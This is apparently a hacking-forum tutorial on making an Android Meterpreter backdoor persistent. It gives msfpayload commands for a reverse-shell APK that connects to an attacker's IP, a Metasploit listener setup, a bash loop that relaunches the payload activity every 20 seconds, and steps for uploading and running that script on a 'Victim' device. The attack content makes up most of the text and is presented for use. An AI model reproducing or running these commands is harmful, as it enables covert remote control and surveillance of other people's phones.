OR rather How to make the Backdoor Persistent:
Hello, my Cold and Merciless Hackers,
Welcome to my 5th Post,
In this tutorial I am going to show you how to make the
backdoor we created in my guide here a persistent one.
I finally found out a way to do this, as I was/am very poor in
bash scripting, I took much time (20hrs approx.) to get the script
working and executable, thanks to the raw syntaxes I found out
from other sites.
Step 1Fire Up Kali and Hack an Android System:
Use this guide to hack an android system on LAN.
I'll be hacking on WAN, using a VM.
Lets Create a backdoor by typing: msfpayload
android/meterpreter/reverse_tcp LHOST=182.68.42.6 R >
/root/abcde.apk
Now, lets set-up a Listener:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.0.4
exploit
After the User/Victim Installs and opens the abcde.apk,
Meterpreter Comes Up...
Step 2Create a Persistent Script:
Here.. Copy these commands in a notepad to create a script,
and save it as anything.sh (The file extension .sh is important!)
--------------------------------------------------------------------------------------------------------
#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n
com.metasploit.stage/.MainActivity
sleep 20
done
--------------------------------------------------------------------------------------------------------
(Don't copy these lines "-----" also, there are no line breaks in
the 3rd and the 4th line, they are a single line)
(The first line #!/bin/bash is also important as it recognizes the
script as a bash shell script)
(You can set the sleep to any amount of seconds you want the
script to sleep)
Move/Copy this to the Home/Root folder of KALI.
--------------------------------------------------------------------------------------------------------
Updated Script v3 (Compatible with any android version)
CRITICAL: DO NOT COPY/PASTE THE SCRIPT DIRECTLY, OR
IT (may) WON'T WORK /!\
..I guess, you will have to write it on your own.. (Don't ask me
why..)
Code:
--------------------------------------------------------------------------------------------------------
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n
com.metasploit.stage/.MainActivity
sleep 20
done
--------------------------------------------------------------------------------------------------------
There is a 'space' between 'while' and ':'
NO Multiple spaces in the script.
NO Line Break between 3rd and 4th line. (So a total of 5 lines)
Step 3Upload It to the Hacked Android System:
You need to upload the shell script to etc/init.d/ so that it is
persistent even after Reboot!
To do this, navigate to the directory using the following
commands:
cd /
Now you should be in the ROOT directory, you can check by
typing:
ls
Now type:
cd etc
Check again by typing:
ls
Again change directory:
cd init.d
ls
Here we are...
Time to Upload the Shell Script:
Do this by typing:
upload anything.sh
What the? No! We need Root Access to complete this
command! Darn!
Never-Mind:
> Lets just make the application (i.e. Main Activity)
persistent until Reboot
> However, it will not be persistent after the android system on
the Victim goes for a Reboot.
> To do this upload the script anywhere in the sdcard:
cd /
cd /sdcard/Download
ls
upload anything.sh
Done! Uploaded!
Step 4Execute the Script:
Now, all we have to do is execute the script once, and then
everything will be done by the script automatically.
Drop into the system's shell by typing:
shell
Now, navigate to the location of the script:
cd /
cd /sdcard/Download
ls
Now its time for EXECUTION. Type:
sh anything.sh
The script has been Activated! All you have to do is press ctrl+C
to terminate the shell (Don't worry the script is still running)
Reboot to eliminate the script or use Task Killer
Step 5Testing...
You can test it by exiting from meterpreter and again setting up
a Listener.
You should get a meterpreter prompt automatically!
PROOF:
Wow! It happened so Fast that 3 sessions got opened one after
another.
(I know that the above picture shows that I am hacking on LAN
instead of WAN as my Public IP is dynamic and my router had
some technical problems, so it kept rebooting itself, so I showed
t on LAN, BUT no worries I have tested it on WAN, works Fine )
The END:
Yes! Finally a persistent backdoor has been created
successfully for Android systems.
Things to Remember:
The persistence of the backdoor will only remain until a
reboot of the android system.
If you are hacking on WAN and you have a dynamic
Public IP, then, the persistence will only remain until
your router reboots/your IP changes.
Remember to reboot the android to eliminate the
running script, if you are testing on you own Android
System.
If the Victim's Android system is Rooted and your Public
IP is Static, then:
1)The Persistence will remain forever on WAN!
2)The Persistence will remain forever on LAN Obviously
